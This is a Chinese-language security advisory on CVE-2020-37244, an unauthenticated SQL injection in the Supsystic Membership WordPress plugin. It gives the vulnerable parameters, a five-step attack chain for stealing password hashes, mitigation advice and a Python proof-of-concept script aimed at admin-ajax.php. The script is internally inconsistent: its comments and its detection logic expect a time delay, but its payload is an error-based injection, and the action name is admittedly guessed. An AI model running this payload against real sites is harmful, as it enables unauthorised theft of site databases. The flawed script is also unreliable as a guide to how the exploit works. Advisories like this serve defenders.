IPBUF安全漏洞报告
English
CVE-2020-37244 CVSS 8.2 高危

CVE-2020-37244 Supsystic Membership SQL注入漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2020-37244
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Supsystic Membership (WordPress Plugin)

相关标签

SQL注入WordPressSupsystic Membership未授权访问CVE-2020-37244

漏洞概述

CVE-2020-37244是Supsystic Membership插件中存在的一个高危安全漏洞。该插件广泛用于WordPress网站以实现会员管理功能。在1.4.7及更早版本中,由于开发人员未对用户输入进行严格的过滤和验证,导致系统存在SQL注入缺陷。未经身份验证的远程攻击者可以通过发送特制的GET请求,利用‘badges’模块中的‘search’和‘sidx’参数注入恶意SQL代码。攻击者可以利用基于时间的盲注或联合查询技术,从后端数据库中提取敏感信息,包括用户凭据、会员数据等。由于该漏洞无需用户认证且利用难度较低,对受影响网站的数据安全性构成严重威胁。

技术细节

该漏洞的技术核心在于对排序参数(sidx)和搜索参数(search)的不当处理。在Supsystic Membership插件的badges模块中,后端代码直接将这两个HTTP GET参数拼接到SQL查询语句中,未使用预处理语句或有效的转义机制。这允许攻击者通过注入单引号等SQL语法符号来中断原始查询结构,并拼接任意SQL命令。攻击者无需登录WordPress后台,只需访问存在漏洞的端点即可发起攻击。利用方式主要分为两种:一是基于时间的盲注,通过注入如SLEEP(5)等函数,根据服务器响应时间判断SQL语句执行结果,从而逐字节提取数据;二是基于UNION的查询注入,通过联合查询直接获取其他表(如wp_users)中的敏感字段内容。由于插件通常以数据库用户权限运行,成功利用此漏洞可能导致全库数据泄露。

攻击链分析

STEP 1
侦察
攻击者使用扫描工具或手工访问目标WordPress站点,识别其是否安装了Supsystic Membership插件,并确定版本号。
STEP 2
武器化
攻击者根据漏洞原理,构造包含恶意SQL语句的Payload,重点针对'sidx'(排序索引)或'search'参数,利用UNION查询或时间盲注技术。
STEP 3
投递
攻击者向目标服务器发送特制的HTTP GET请求,将恶意Payload注入到badges模块的接口请求中。
STEP 4
利用
服务器接收请求后,由于未对参数进行过滤,后端数据库直接执行了攻击者注入的SQL语句。
STEP 5
数据窃取
攻击者根据数据库响应或延迟时间,提取出敏感数据(如管理员密码哈希、用户信息等),进而接管网站权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://example.com/wp-admin/admin-ajax.php" # Payload for time-based blind SQL injection via 'sidx' parameter # This payload attempts to extract database version using a conditional delay payload = { "action": "supsystic_membership_badges", # Action might vary based on plugin version "search": "test", "sidx": "id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,0x27,(SELECT version()),0x27,0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" } try: print("Sending payload to target...") response = requests.get(target_url, params=payload, timeout=10) # Check if the response time indicates successful injection or response contains DB version if response.elapsed.total_seconds() > 5: print("[+] Potential Vulnerability detected! (Response time delayed)") else: print("[-] Vulnerability not detected or payload incorrect.") print("Response Status:", response.status_code) # print("Response Content:", response.text) # Uncomment for debugging except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")

影响范围

Supsystic Membership <= 1.4.7

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Supsystic Membership插件以阻断攻击路径。同时,应检查数据库日志以确认是否已被入侵,并强制重置所有用户密码。此外,可以通过限制对`/wp-admin/admin-ajax.php`的访问权限来降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表